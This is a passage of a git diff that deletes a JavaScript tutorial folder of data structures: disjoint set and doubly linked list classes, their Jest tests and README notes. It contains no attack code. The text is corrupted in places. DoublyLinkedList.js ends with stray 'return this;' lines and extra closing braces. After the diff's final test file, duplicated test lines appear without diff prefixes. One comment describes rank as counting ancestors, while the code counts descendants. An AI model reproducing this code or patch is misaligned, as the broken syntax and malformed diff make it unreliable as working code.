-        // If rootA's tree is bigger then make rootA to be a new root.
-        rootA.addChild(rootB);
-        return this;
-    }
-    /**
-     * @param {*} valueA
-     * @param {*} valueB
-     * @return {boolean}
-     */
-    inSameSet(valueA, valueB) {
-        const rootKeyA = this.find(valueA);
-        const rootKeyB = this.find(valueB);
-        if (rootKeyA === null || rootKeyB === null) {
-            throw new Error('One or two values are not in sets');
-        }
-        return rootKeyA === rootKeyB;
-    }
-}
diff --git a/docs/content/DS_ALGO/data-structures/disjoint-set/DisjointSetItem.js b/docs/content/DS_ALGO/data-structures/disjoint-set/DisjointSetItem.js
deleted file mode 100644
index 31cb8c5545..0000000000
--- a/docs/content/DS_ALGO/data-structures/disjoint-set/DisjointSetItem.js
+++ /dev/null
@@ -1,82 +0,0 @@
-export default class DisjointSetItem {
-    /**
-     * @param {*} value
-     * @param {function(value: *)} [keyCallback]
-     */
-    constructor(value, keyCallback) {
-        this.value = value;
-        this.keyCallback = keyCallback;
-        /** @var {DisjointSetItem} this.parent */
-        this.parent = null;
-        this.children = {};
-    }
-    /**
-     * @return {*}
-     */
-    getKey() {
-        // Allow user to define custom key generator.
-        if (this.keyCallback) {
-            return this.keyCallback(this.value);
-        }
-        // Otherwise use value as a key by default.
-        return this.value;
-    }
-    /**
-     * @return {DisjointSetItem}
-     */
-    getRoot() {
-        return this.isRoot() ? this : this.parent.getRoot();
-    }
-    /**
-     * @return {boolean}
-     */
-    isRoot() {
-        return this.parent === null;
-    }
-    /**
-     * Rank basically means the number of all ancestors.
-     *
-     * @return {number}
-     */
-    getRank() {
-        if (this.getChildren().length === 0) {
-            return 0;
-        }
-        let rank = 0;
-        /** @var {DisjointSetItem} child */
-        this.getChildren().forEach((child) => {
-            // Count child itself.
-            rank += 1;
-            // Also add all children of current child.
-            rank += child.getRank();
-        });
-        return rank;
-    }
-    /**
-     * @return {DisjointSetItem[]}
-     */
-    getChildren() {
-        return Object.values(this.children);
-    }
-    /**
-     * @param {DisjointSetItem} parentItem
-     * @param {boolean} forceSettingParentChild
-     * @return {DisjointSetItem}
-     */
-    setParent(parentItem, forceSettingParentChild = true) {
-        this.parent = parentItem;
-        if (forceSettingParentChild) {
-            parentItem.addChild(this);
-        }
-        return this;
-    }
-    /**
-     * @param {DisjointSetItem} childItem
-     * @return {DisjointSetItem}
-     */
-    addChild(childItem) {
-        this.children[childItem.getKey()] = childItem;
-        childItem.setParent(this, false);
-        return this;
-    }
-}
diff --git a/docs/content/DS_ALGO/data-structures/disjoint-set/README.md b/docs/content/DS_ALGO/data-structures/disjoint-set/README.md
deleted file mode 100644
index 91ee2625b0..0000000000
--- a/docs/content/DS_ALGO/data-structures/disjoint-set/README.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# Disjoint Set
-
-**Disjoint-set** data structure (also called a union-find data structure or merge-find set) is a data
-structure that tracks a set of elements partitioned into a number of disjoint (non-overlapping) subsets.
-
-> It provides near-constant-time operations (bounded by the inverse Ackermann function) to _add new sets_,
-> to _merge existing sets_, and to _determine whether elements are in the same set_.
-> In addition to many other uses (see the Applications section), disjoint-sets play a key role in Kruskal's algorithm for finding the minimum spanning tree of a graph.
-
-![disjoint set](https://upload.wikimedia.org/wikipedia/commons/6/67/Dsu_disjoint_sets_init.svg)
-
-_MakeSet_ creates 8 singletons.
-
-![disjoint set](https://upload.wikimedia.org/wikipedia/commons/a/ac/Dsu_disjoint_sets_final.svg)
-
-After some operations of _Union_, some sets are grouped together.
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Disjoint-set_data_structure)
--   [By Abdul Bari on YouTube](https://www.youtube.com/watch?v=wU6udHRIkcc&index=14&t=0s&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/data-structures/disjoint-set/test/DisjointSet.test.js b/docs/content/DS_ALGO/data-structures/disjoint-set/test/DisjointSet.test.js
deleted file mode 100644
index 6a95164ce8..0000000000
--- a/docs/content/DS_ALGO/data-structures/disjoint-set/test/DisjointSet.test.js
+++ /dev/null
@@ -1,84 +0,0 @@
-import DisjointSet from '../DisjointSet';
-describe('DisjointSet', () => {
-    it('should throw error when trying to union and check not existing sets', () => {
-        function mergeNotExistingSets() {
-            const disjointSet = new DisjointSet();
-            disjointSet.union('A', 'B');
-        }
-        function checkNotExistingSets() {
-            const disjointSet = new DisjointSet();
-            disjointSet.inSameSet('A', 'B');
-        }
-        expect(mergeNotExistingSets).toThrow();
-        expect(checkNotExistingSets).toThrow();
-    });
-    it('should do basic manipulations on disjoint set', () => {
-        const disjointSet = new DisjointSet();
-        expect(disjointSet.find('A')).toBeNull();
-        expect(disjointSet.find('B')).toBeNull();
-        disjointSet.makeSet('A');
-        expect(disjointSet.find('A')).toBe('A');
-        expect(disjointSet.find('B')).toBeNull();
-        disjointSet.makeSet('B');
-        expect(disjointSet.find('A')).toBe('A');
-        expect(disjointSet.find('B')).toBe('B');
-        disjointSet.makeSet('C');
-        expect(disjointSet.inSameSet('A', 'B')).toBe(false);
-        disjointSet.union('A', 'B');
-        expect(disjointSet.find('A')).toBe('A');
-        expect(disjointSet.find('B')).toBe('A');
-        expect(disjointSet.inSameSet('A', 'B')).toBe(true);
-        expect(disjointSet.inSameSet('B', 'A')).toBe(true);
-        expect(disjointSet.inSameSet('A', 'C')).toBe(false);
-        disjointSet.union('A', 'A');
-        disjointSet.union('B', 'C');
-        expect(disjointSet.find('A')).toBe('A');
-        expect(disjointSet.find('B')).toBe('A');
-        expect(disjointSet.find('C')).toBe('A');
-        expect(disjointSet.inSameSet('A', 'B')).toBe(true);
-        expect(disjointSet.inSameSet('B', 'C')).toBe(true);
-        expect(disjointSet.inSameSet('A', 'C')).toBe(true);
-        disjointSet.makeSet('E').makeSet('F').makeSet('G').makeSet('H').makeSet('I');
-        disjointSet.union('E', 'F').union('F', 'G').union('G', 'H').union('H', 'I');
-        expect(disjointSet.inSameSet('A', 'I')).toBe(false);
-        expect(disjointSet.inSameSet('E', 'I')).toBe(true);
-        disjointSet.union('I', 'C');
-        expect(disjointSet.find('I')).toBe('E');
-        expect(disjointSet.inSameSet('A', 'I')).toBe(true);
-    });
-    it('should union smaller set with bigger one making bigger one to be new root', () => {
-        const disjointSet = new DisjointSet();
-        disjointSet.makeSet('A').makeSet('B').makeSet('C').union('B', 'C').union('A', 'C');
-        expect(disjointSet.find('A')).toBe('B');
-    });
-    it('should do basic manipulations on disjoint set with custom key extractor', () => {
-        const keyExtractor = (value) => value.key;
-        const disjointSet = new DisjointSet(keyExtractor);
-        const itemA = { key: 'A', value: 1 };
-        const itemB = { key: 'B', value: 2 };
-        const itemC = { key: 'C', value: 3 };
-        expect(disjointSet.find(itemA)).toBeNull();
-        expect(disjointSet.find(itemB)).toBeNull();
-        disjointSet.makeSet(itemA);
-        expect(disjointSet.find(itemA)).toBe('A');
-        expect(disjointSet.find(itemB)).toBeNull();
-        disjointSet.makeSet(itemB);
-        expect(disjointSet.find(itemA)).toBe('A');
-        expect(disjointSet.find(itemB)).toBe('B');
-        disjointSet.makeSet(itemC);
-        expect(disjointSet.inSameSet(itemA, itemB)).toBe(false);
-        disjointSet.union(itemA, itemB);
-        expect(disjointSet.find(itemA)).toBe('A');
-        expect(disjointSet.find(itemB)).toBe('A');
-        expect(disjointSet.inSameSet(itemA, itemB)).toBe(true);
-        expect(disjointSet.inSameSet(itemB, itemA)).toBe(true);
-        expect(disjointSet.inSameSet(itemA, itemC)).toBe(false);
-        disjointSet.union(itemA, itemC);
-        expect(disjointSet.find(itemA)).toBe('A');
-        expect(disjointSet.find(itemB)).toBe('A');
-        expect(disjointSet.find(itemC)).toBe('A');
-        expect(disjointSet.inSameSet(itemA, itemB)).toBe(true);
-        expect(disjointSet.inSameSet(itemB, itemC)).toBe(true);
-        expect(disjointSet.inSameSet(itemA, itemC)).toBe(true);
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/disjoint-set/test/DisjointSetItem.test.js b/docs/content/DS_ALGO/data-structures/disjoint-set/test/DisjointSetItem.test.js
deleted file mode 100644
index 6608b5925c..0000000000
--- a/docs/content/DS_ALGO/data-structures/disjoint-set/test/DisjointSetItem.test.js
+++ /dev/null
@@ -1,86 +0,0 @@
-import DisjointSetItem from '../DisjointSetItem';
-describe('DisjointSetItem', () => {
-    it('should do basic manipulation with disjoint set item', () => {
-        const itemA = new DisjointSetItem('A');
-        const itemB = new DisjointSetItem('B');
-        const itemC = new DisjointSetItem('C');
-        const itemD = new DisjointSetItem('D');
-        expect(itemA.getRank()).toBe(0);
-        expect(itemA.getChildren()).toEqual([]);
-        expect(itemA.getKey()).toBe('A');
-        expect(itemA.getRoot()).toEqual(itemA);
-        expect(itemA.isRoot()).toBe(true);
-        expect(itemB.isRoot()).toBe(true);
-        itemA.addChild(itemB);
-        itemD.setParent(itemC);
-        expect(itemA.getRank()).toBe(1);
-        expect(itemC.getRank()).toBe(1);
-        expect(itemB.getRank()).toBe(0);
-        expect(itemD.getRank()).toBe(0);
-        expect(itemA.getChildren().length).toBe(1);
-        expect(itemC.getChildren().length).toBe(1);
-        expect(itemA.getChildren()[0]).toEqual(itemB);
-        expect(itemC.getChildren()[0]).toEqual(itemD);
-        expect(itemB.getChildren().length).toBe(0);
-        expect(itemD.getChildren().length).toBe(0);
-        expect(itemA.getRoot()).toEqual(itemA);
-        expect(itemB.getRoot()).toEqual(itemA);
-        expect(itemC.getRoot()).toEqual(itemC);
-        expect(itemD.getRoot()).toEqual(itemC);
-        expect(itemA.isRoot()).toBe(true);
-        expect(itemB.isRoot()).toBe(false);
-        expect(itemC.isRoot()).toBe(true);
-        expect(itemD.isRoot()).toBe(false);
-        itemA.addChild(itemC);
-        expect(itemA.isRoot()).toBe(true);
-        expect(itemB.isRoot()).toBe(false);
-        expect(itemC.isRoot()).toBe(false);
-        expect(itemD.isRoot()).toBe(false);
-        expect(itemA.getRank()).toEqual(3);
-        expect(itemB.getRank()).toEqual(0);
-        expect(itemC.getRank()).toEqual(1);
-    });
-    it('should do basic manipulation with disjoint set item with custom key extractor', () => {
-        const keyExtractor = (value) => {
-            return value.key;
-        };
-        const itemA = new DisjointSetItem({ key: 'A', value: 1 }, keyExtractor);
-        const itemB = new DisjointSetItem({ key: 'B', value: 2 }, keyExtractor);
-        const itemC = new DisjointSetItem({ key: 'C', value: 3 }, keyExtractor);
-        const itemD = new DisjointSetItem({ key: 'D', value: 4 }, keyExtractor);
-        expect(itemA.getRank()).toBe(0);
-        expect(itemA.getChildren()).toEqual([]);
-        expect(itemA.getKey()).toBe('A');
-        expect(itemA.getRoot()).toEqual(itemA);
-        expect(itemA.isRoot()).toBe(true);
-        expect(itemB.isRoot()).toBe(true);
-        itemA.addChild(itemB);
-        itemD.setParent(itemC);
-        expect(itemA.getRank()).toBe(1);
-        expect(itemC.getRank()).toBe(1);
-        expect(itemB.getRank()).toBe(0);
-        expect(itemD.getRank()).toBe(0);
-        expect(itemA.getChildren().length).toBe(1);
-        expect(itemC.getChildren().length).toBe(1);
-        expect(itemA.getChildren()[0]).toEqual(itemB);
-        expect(itemC.getChildren()[0]).toEqual(itemD);
-        expect(itemB.getChildren().length).toBe(0);
-        expect(itemD.getChildren().length).toBe(0);
-        expect(itemA.getRoot()).toEqual(itemA);
-        expect(itemB.getRoot()).toEqual(itemA);
-        expect(itemC.getRoot()).toEqual(itemC);
-        expect(itemD.getRoot()).toEqual(itemC);
-        expect(itemA.isRoot()).toBe(true);
-        expect(itemB.isRoot()).toBe(false);
-        expect(itemC.isRoot()).toBe(true);
-        expect(itemD.isRoot()).toBe(false);
-        itemA.addChild(itemC);
-        expect(itemA.isRoot()).toBe(true);
-        expect(itemB.isRoot()).toBe(false);
-        expect(itemC.isRoot()).toBe(false);
-        expect(itemD.isRoot()).toBe(false);
-        expect(itemA.getRank()).toEqual(3);
-        expect(itemB.getRank()).toEqual(0);
-        expect(itemC.getRank()).toEqual(1);
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/doubly-linked-list/DoublyLinkedList.js b/docs/content/DS_ALGO/data-structures/doubly-linked-list/DoublyLinkedList.js
deleted file mode 100644
index bc0279d681..0000000000
--- a/docs/content/DS_ALGO/data-structures/doubly-linked-list/DoublyLinkedList.js
+++ /dev/null
@@ -1,218 +0,0 @@
-import DoublyLinkedListNode from './DoublyLinkedListNode';
-import Comparator from '../../utils/comparator/Comparator';
-export default class DoublyLinkedList {
-    /**
-     * @param {Function} [comparatorFunction]
-     */
-    constructor(comparatorFunction) {
-        /** @var DoublyLinkedListNode */
-        this.head = null;
-        /** @var DoublyLinkedListNode */
-        this.tail = null;
-        this.compare = new Comparator(comparatorFunction);
-    }
-    /**
-     * @param {*} value
-     * @return {DoublyLinkedList}
-     */
-    prepend(value) {
-        // Make new node to be a head.
-        const newNode = new DoublyLinkedListNode(value, this.head);
-        // If there is head, then it won't be head anymore.
-        // Therefore, make its previous reference to be new node (new head).
-        // Then mark the new node as head.
-        if (this.head) {
-            this.head.previous = newNode;
-        }
-        this.head = newNode;
-        // If there is no tail yet let's make new node a tail.
-        if (!this.tail) {
-            this.tail = newNode;
-        }
-        return this;
-    }
-    /**
-     * @param {*} value
-     * @return {DoublyLinkedList}
-     */
-    append(value) {
-        const newNode = new DoublyLinkedListNode(value);
-        // If there is no head yet let's make new node a head.
-        if (!this.head) {
-            this.head = newNode;
-            this.tail = newNode;
-            return this;
-        }
-        // Attach new node to the end of linked list.
-        this.tail.next = newNode;
-        // Attach current tail to the new node's previous reference.
-        newNode.previous = this.tail;
-        // Set new node to be the tail of linked list.
-        this.tail = newNode;
-        return this;
-    }
-    /**
-     * @param {*} value
-     * @return {DoublyLinkedListNode}
-     */
-    delete(value) {
-        if (!this.head) {
-            return null;
-        }
-        let deletedNode = null;
-        let currentNode = this.head;
-        while (currentNode) {
-            if (this.compare.equal(currentNode.value, value)) {
-                deletedNode = currentNode;
-                if (deletedNode === this.head) {
-                    // If HEAD is going to be deleted...
-                    // Set head to second node, which will become new head.
-                    this.head = deletedNode.next;
-                    // Set new head's previous to null.
-                    if (this.head) {
-                        this.head.previous = null;
-                    }
-                    // If all the nodes in list has same value that is passed as argument
-                    // then all nodes will get deleted, therefore tail needs to be updated.
-                    if (deletedNode === this.tail) {
-                        this.tail = null;
-                    }
-                } else if (deletedNode === this.tail) {
-                    // If TAIL is going to be deleted...
-                    // Set tail to second last node, which will become new tail.
-                    this.tail = deletedNode.previous;
-                    this.tail.next = null;
-                } else {
-                    // If MIDDLE node is going to be deleted...
-                    const previousNode = deletedNode.previous;
-                    const nextNode = deletedNode.next;
-                    previousNode.next = nextNode;
-                    nextNode.previous = previousNode;
-                }
-            }
-            currentNode = currentNode.next;
-        }
-        return deletedNode;
-    }
-    /**
-     * @param {Object} findParams
-     * @param {*} findParams.value
-     * @param {function} [findParams.callback]
-     * @return {DoublyLinkedListNode}
-     */
-    find({
-        value = undefined,
-        callback = undefined
-    }) {
-        if (!this.head) {
-            return null;
-        }
-        let currentNode = this.head;
-        while (currentNode) {
-            // If callback is specified then try to find node by callback.
-            if (callback && callback(currentNode.value)) {
-                return currentNode;
-            }
-            // If value is specified then try to compare by value..
-            if (value !== undefined && this.compare.equal(currentNode.value, value)) {
-                return currentNode;
-            }
-            currentNode = currentNode.next;
-        }
-        return null;
-    }
-    /**
-     * @return {DoublyLinkedListNode}
-     */
-    deleteTail() {
-        if (!this.tail) {
-            // No tail to delete.
-            return null;
-        }
-        if (this.head === this.tail) {
-            // There is only one node in linked list.
-            const deletedTail = this.tail;
-            this.head = null;
-            this.tail = null;
-            return deletedTail;
-        }
-        // If there are many nodes in linked list...
-        const deletedTail = this.tail;
-        this.tail = this.tail.previous;
-        this.tail.next = null;
-        return deletedTail;
-    }
-    /**
-     * @return {DoublyLinkedListNode}
-     */
-    deleteHead() {
-        if (!this.head) {
-            return null;
-        }
-        const deletedHead = this.head;
-        if (this.head.next) {
-            this.head = this.head.next;
-            this.head.previous = null;
-        } else {
-            this.head = null;
-            this.tail = null;
-        }
-        return deletedHead;
-    }
-    /**
-     * @return {DoublyLinkedListNode[]}
-     */
-    toArray() {
-        const nodes = [];
-        let currentNode = this.head;
-        while (currentNode) {
-            nodes.push(currentNode);
-            currentNode = currentNode.next;
-        }
-        return nodes;
-    }
-    /**
-     * @param {*[]} values - Array of values that need to be converted to linked list.
-     * @return {DoublyLinkedList}
-     */
-    fromArray(values) {
-        values.forEach((value) => this.append(value));
-        return this;
-    }
-    /**
-     * @param {function} [callback]
-     * @return {string}
-     */
-    toString(callback) {
-        return this.toArray()
-            .map((node) => node.toString(callback))
-            .toString();
-    }
-    /**
-     * Reverse a linked list.
-     * @returns {DoublyLinkedList}
-     */
-    reverse() {
-        let currNode = this.head;
-        let prevNode = null;
-        let nextNode = null;
-        while (currNode) {
-            // Store next node.
-            nextNode = currNode.next;
-            prevNode = currNode.previous;
-            // Change next node of the current node so it would link to previous node.
-            currNode.next = prevNode;
-            currNode.previous = nextNode;
-            // Move prevNode and currNode nodes one step forward.
-            prevNode = currNode;
-            currNode = nextNode;
-        }
-        // Reset head and tail.
-        this.tail = this.head;
-        this.head = prevNode;
-        return this;
-    }
-}
-return this;
-}
-}
diff --git a/docs/content/DS_ALGO/data-structures/doubly-linked-list/DoublyLinkedListNode.js b/docs/content/DS_ALGO/data-structures/doubly-linked-list/DoublyLinkedListNode.js
deleted file mode 100644
index 0bf5c6f3e2..0000000000
--- a/docs/content/DS_ALGO/data-structures/doubly-linked-list/DoublyLinkedListNode.js
+++ /dev/null
@@ -1,10 +0,0 @@
-export default class DoublyLinkedListNode {
-    constructor(value, next = null, previous = null) {
-        this.value = value;
-        this.next = next;
-        this.previous = previous;
-    }
-    toString(callback) {
-        return callback ? callback(this.value) : `${this.value}`;
-    }
-}
diff --git a/docs/content/DS_ALGO/data-structures/doubly-linked-list/README.md b/docs/content/DS_ALGO/data-structures/doubly-linked-list/README.md
deleted file mode 100644
index 9db8f7d2d0..0000000000
--- a/docs/content/DS_ALGO/data-structures/doubly-linked-list/README.md
+++ /dev/null
@@ -1,108 +0,0 @@
-# Doubly Linked List
-
-In computer science, a **doubly linked list** is a linked data structure that
-consists of a set of sequentially linked records called nodes. Each node contains
-two fields, called links, that are references to the previous and to the next
-node in the sequence of nodes. The beginning and ending nodes' previous and next
-links, respectively, point to some kind of terminator, typically a sentinel
-node or null, to facilitate the traversal of the list. If there is only one
-sentinel node, then the list is circularly linked via the sentinel node. It can
-be conceptualized as two singly linked lists formed from the same data items,
-but in opposite sequential orders.
-
-![Doubly Linked List](https://upload.wikimedia.org/wikipedia/commons/5/5e/Doubly-linked-list.svg)
-
-The two node links allow traversal of the list in either direction. While adding
-or removing a node in a doubly linked list requires changing more links than the
-same operations on a singly linked list, the operations are simpler and
-potentially more efficient (for nodes other than first nodes) because there
-is no need to keep track of the previous node during traversal or no need
-to traverse the list to find the previous node, so that its link can be modified.
-
-## Pseudocode for Basic Operations
-
-### Insert
-
-```text
-Add(value)
-  Pre: value is the value to add to the list
-  Post: value has been placed at the tail of the list
-  n ← node(value)
-  if head = ø
-    head ← n
-    tail ← n
-  else
-    n.previous ← tail
-    tail.next ← n
-    tail ← n
-  end if
-end Add
-```
-
-### Delete
-
-```text
-Remove(head, value)
-  Pre: head is the head node in the list
-       value is the value to remove from the list
-  Post: value is removed from the list, true; otherwise false
-  if head = ø
-    return false
-  end if
-  if value = head.value
-    if head = tail
-      head ← ø
-      tail ← ø
-    else
-      head ← head.next
-      head.previous ← ø
-    end if
-    return true
-  end if
-  n ← head.next
-  while n != ø and value !== n.value
-    n ← n.next
-  end while
-  if n = tail
-    tail ← tail.previous
-    tail.next ← ø
-    return true
-  else if n != ø
-    n.previous.next ← n.next
-    n.next.previous ← n.previous
-    return true
-  end if
-  return false
-end Remove
-```
-
-### Reverse Traversal
-
-```text
-ReverseTraversal(tail)
-  Pre: tail is the node of the list to traverse
-  Post: the list has been traversed in reverse order
-  n ← tail
-  while n != ø
-    yield n.value
-    n ← n.previous
-  end while
-end Reverse Traversal
-```
-
-## Complexities
-
-## Time Complexity
-
-| Access | Search | Insertion | Deletion |
-| :----: | :----: | :-------: | :------: |
-|  O(n)  |  O(n)  |   O(1)    |   O(n)   |
-
-### Space Complexity
-
-O(n)
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Doubly_linked_list)
--   [YouTube](https://www.youtube.com/watch?v=JdQeNxWCguQ&t=7s&index=72&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/data-structures/doubly-linked-list/test/DoublyLinkedList.test.js b/docs/content/DS_ALGO/data-structures/doubly-linked-list/test/DoublyLinkedList.test.js
deleted file mode 100644
index ce755c458a..0000000000
--- a/docs/content/DS_ALGO/data-structures/doubly-linked-list/test/DoublyLinkedList.test.js
+++ /dev/null
@@ -1,267 +0,0 @@
-import DoublyLinkedList from '../DoublyLinkedList';
-describe('DoublyLinkedList', () => {
-    it('should create empty linked list', () => {
-        const linkedList = new DoublyLinkedList();
-        expect(linkedList.toString()).toBe('');
-    });
-    it('should append node to linked list', () => {
-        const linkedList = new DoublyLinkedList();
-        expect(linkedList.head).toBeNull();
-        expect(linkedList.tail).toBeNull();
-        linkedList.append(1);
-        linkedList.append(2);
-        expect(linkedList.head.next.value).toBe(2);
-        expect(linkedList.tail.previous.value).toBe(1);
-        expect(linkedList.toString()).toBe('1,2');
-    });
-    it('should prepend node to linked list', () => {
-        const linkedList = new DoublyLinkedList();
-        linkedList.prepend(2);
-        expect(linkedList.head.toString()).toBe('2');
-        expect(linkedList.tail.toString()).toBe('2');
-        linkedList.append(1);
-        linkedList.prepend(3);
-        expect(linkedList.head.next.next.previous).toBe(linkedList.head.next);
-        expect(linkedList.tail.previous.next).toBe(linkedList.tail);
-        expect(linkedList.tail.previous.value).toBe(2);
-        expect(linkedList.toString()).toBe('3,2,1');
-    });
-    it('should create linked list from array', () => {
-        const linkedList = new DoublyLinkedList();
-        linkedList.fromArray([1, 1, 2, 3, 3, 3, 4, 5]);
-        expect(linkedList.toString()).toBe('1,1,2,3,3,3,4,5');
-    });
-    it('should delete node by value from linked list', () => {
-        const linkedList = new DoublyLinkedList();
-        expect(linkedList.delete(5)).toBeNull();
-        linkedList.append(1);
-        linkedList.append(1);
-        linkedList.append(2);
-        linkedList.append(3);
-        linkedList.append(3);
-        linkedList.append(3);
-        linkedList.append(4);
-        linkedList.append(5);
-        expect(linkedList.head.toString()).toBe('1');
-        expect(linkedList.tail.toString()).toBe('5');
-        const deletedNode = linkedList.delete(3);
-        expect(deletedNode.value).toBe(3);
-        expect(linkedList.tail.previous.previous.value).toBe(2);
-        expect(linkedList.toString()).toBe('1,1,2,4,5');
-        linkedList.delete(3);
-        expect(linkedList.toString()).toBe('1,1,2,4,5');
-        linkedList.delete(1);
-        expect(linkedList.toString()).toBe('2,4,5');
-        expect(linkedList.head.toString()).toBe('2');
-        expect(linkedList.head.next.next).toBe(linkedList.tail);
-        expect(linkedList.tail.previous.previous).toBe(linkedList.head);
-        expect(linkedList.tail.toString()).toBe('5');
-        linkedList.delete(5);
-        expect(linkedList.toString()).toBe('2,4');
-        expect(linkedList.head.toString()).toBe('2');
-        expect(linkedList.tail.toString()).toBe('4');
-        linkedList.delete(4);
-        expect(linkedList.toString()).toBe('2');
-        expect(linkedList.head.toString()).toBe('2');
-        expect(linkedList.tail.toString()).toBe('2');
-        expect(linkedList.head).toBe(linkedList.tail);
-        linkedList.delete(2);
-        expect(linkedList.toString()).toBe('');
-    });
-    it('should delete linked list tail', () => {
-        const linkedList = new DoublyLinkedList();
-        expect(linkedList.deleteTail()).toBeNull();
-        linkedList.append(1);
-        linkedList.append(2);
-        linkedList.append(3);
-        expect(linkedList.head.toString()).toBe('1');
-        expect(linkedList.tail.toString()).toBe('3');
-        const deletedNode1 = linkedList.deleteTail();
-        expect(deletedNode1.value).toBe(3);
-        expect(linkedList.toString()).toBe('1,2');
-        expect(linkedList.head.toString()).toBe('1');
-        expect(linkedList.tail.toString()).toBe('2');
-        const deletedNode2 = linkedList.deleteTail();
-        expect(deletedNode2.value).toBe(2);
-        expect(linkedList.toString()).toBe('1');
-        expect(linkedList.head.toString()).toBe('1');
-        expect(linkedList.tail.toString()).toBe('1');
-        const deletedNode3 = linkedList.deleteTail();
-        expect(deletedNode3.value).toBe(1);
-        expect(linkedList.toString()).toBe('');
-        expect(linkedList.head).toBeNull();
-        expect(linkedList.tail).toBeNull();
-    });
-    it('should delete linked list head', () => {
-        const linkedList = new DoublyLinkedList();
-        expect(linkedList.deleteHead()).toBeNull();
-        linkedList.append(1);
-        linkedList.append(2);
-        expect(linkedList.head.toString()).toBe('1');
-        expect(linkedList.tail.toString()).toBe('2');
-        const deletedNode1 = linkedList.deleteHead();
-        expect(deletedNode1.value).toBe(1);
-        expect(linkedList.head.previous).toBeNull();
-        expect(linkedList.toString()).toBe('2');
-        expect(linkedList.head.toString()).toBe('2');
-        expect(linkedList.tail.toString()).toBe('2');
-        const deletedNode2 = linkedList.deleteHead();
-        expect(deletedNode2.value).toBe(2);
-        expect(linkedList.toString()).toBe('');
-        expect(linkedList.head).toBeNull();
-        expect(linkedList.tail).toBeNull();
-    });
-    it('should be possible to store objects in the list and to print them out', () => {
-        const linkedList = new DoublyLinkedList();
-        const nodeValue1 = {
-            value: 1,
-            key: 'key1'
-        };
-        const nodeValue2 = {
-            value: 2,
-            key: 'key2'
-        };
-        linkedList.append(nodeValue1).prepend(nodeValue2);
-        const nodeStringifier = (value) => `${value.key}:${value.value}`;
-        expect(linkedList.toString(nodeStringifier)).toBe('key2:2,key1:1');
-    });
-    it('should find node by value', () => {
-        const linkedList = new DoublyLinkedList();
-        expect(linkedList.find({
-            value: 5
-        })).toBeNull();
-        linkedList.append(1);
-        expect(linkedList.find({
-            value: 1
-        })).toBeDefined();
-        linkedList.append(2).append(3);
-        const node = linkedList.find({
-            value: 2
-        });
-        expect(node.value).toBe(2);
-        expect(linkedList.find({
-            value: 5
-        })).toBeNull();
-    });
-    it('should find node by callback', () => {
-        const linkedList = new DoublyLinkedList();
-        linkedList.append({
-            value: 1,
-            key: 'test1'
-        }).append({
-            value: 2,
-            key: 'test2'
-        }).append({
-            value: 3,
-            key: 'test3'
-        });
-        const node = linkedList.find({
-            callback: (value) => value.key === 'test2'
-        });
-        expect(node).toBeDefined();
-        expect(node.value.value).toBe(2);
-        expect(node.value.key).toBe('test2');
-        expect(linkedList.find({
-            callback: (value) => value.key === 'test5'
-        })).toBeNull();
-    });
-    it('should find node by means of custom compare function', () => {
-        const comparatorFunction = (a, b) => {
-            if (a.customValue === b.customValue) {
-                return 0;
-            }
-            return a.customValue < b.customValue ? -1 : 1;
-        };
-        const linkedList = new DoublyLinkedList(comparatorFunction);
-        linkedList.append({
-            value: 1,
-            customValue: 'test1'
-        }).append({
-            value: 2,
-            customValue: 'test2'
-        }).append({
-            value: 3,
-            customValue: 'test3'
-        });
-        const node = linkedList.find({
-            value: {
-                value: 2,
-                customValue: 'test2'
-            }
-        });
-        expect(node).toBeDefined();
-        expect(node.value.value).toBe(2);
-        expect(node.value.customValue).toBe('test2');
-        expect(linkedList.find({
-            value: 2,
-            customValue: 'test5'
-        })).toBeNull();
-    });
-    it('should reverse linked list', () => {
-        const linkedList = new DoublyLinkedList();
-        // Add test values to linked list.
-        linkedList.append(1).append(2).append(3).append(4);
-        expect(linkedList.toString()).toBe('1,2,3,4');
-        expect(linkedList.head.value).toBe(1);
-        expect(linkedList.tail.value).toBe(4);
-        // Reverse linked list.
-        linkedList.reverse();
-        expect(linkedList.toString()).toBe('4,3,2,1');
-        expect(linkedList.head.previous).toBeNull();
-        expect(linkedList.head.value).toBe(4);
-        expect(linkedList.head.next.value).toBe(3);
-        expect(linkedList.head.next.next.value).toBe(2);
-        expect(linkedList.head.next.next.next.value).toBe(1);
-        expect(linkedList.tail.next).toBeNull();
-        expect(linkedList.tail.value).toBe(1);
-        expect(linkedList.tail.previous.value).toBe(2);
-        expect(linkedList.tail.previous.previous.value).toBe(3);
-        expect(linkedList.tail.previous.previous.previous.value).toBe(4);
-        // Reverse linked list back to initial state.
-        linkedList.reverse();
-        expect(linkedList.toString()).toBe('1,2,3,4');
-        expect(linkedList.head.previous).toBeNull();
-        expect(linkedList.head.value).toBe(1);
-        expect(linkedList.head.next.value).toBe(2);
-        expect(linkedList.head.next.next.value).toBe(3);
-        expect(linkedList.head.next.next.next.value).toBe(4);
-        expect(linkedList.tail.next).toBeNull();
-        expect(linkedList.tail.value).toBe(4);
-        expect(linkedList.tail.previous.value).toBe(3);
-        expect(linkedList.tail.previous.previous.value).toBe(2);
-        expect(linkedList.tail.previous.previous.previous.value).toBe(1);
-    });
-});
-// Add test values to linked list.
-linkedList.append(1).append(2).append(3).append(4);
-expect(linkedList.toString()).toBe('1,2,3,4');
-expect(linkedList.head.value).toBe(1);
-expect(linkedList.tail.value).toBe(4);
-// Reverse linked list.
-linkedList.reverse();
-expect(linkedList.toString()).toBe('4,3,2,1');
-expect(linkedList.head.previous).toBeNull();
-expect(linkedList.head.value).toBe(4);
-expect(linkedList.head.next.value).toBe(3);
-expect(linkedList.head.next.next.value).toBe(2);
-expect(linkedList.head.next.next.next.value).toBe(1);
-expect(linkedList.tail.next).toBeNull();
-expect(linkedList.tail.value).toBe(1);
-expect(linkedList.tail.previous.value).toBe(2);
-expect(linkedList.tail.previous.previous.value).toBe(3);
-expect(linkedList.tail.previous.previous.previous.value).toBe(4);
-// Reverse linked list back to initial state.
-linkedList.reverse();
-expect(linkedList.toString()).toBe('1,2,3,4');
-expect(linkedList.head.previous).toBeNull();
-expect(linkedList.head.value).toBe(1);
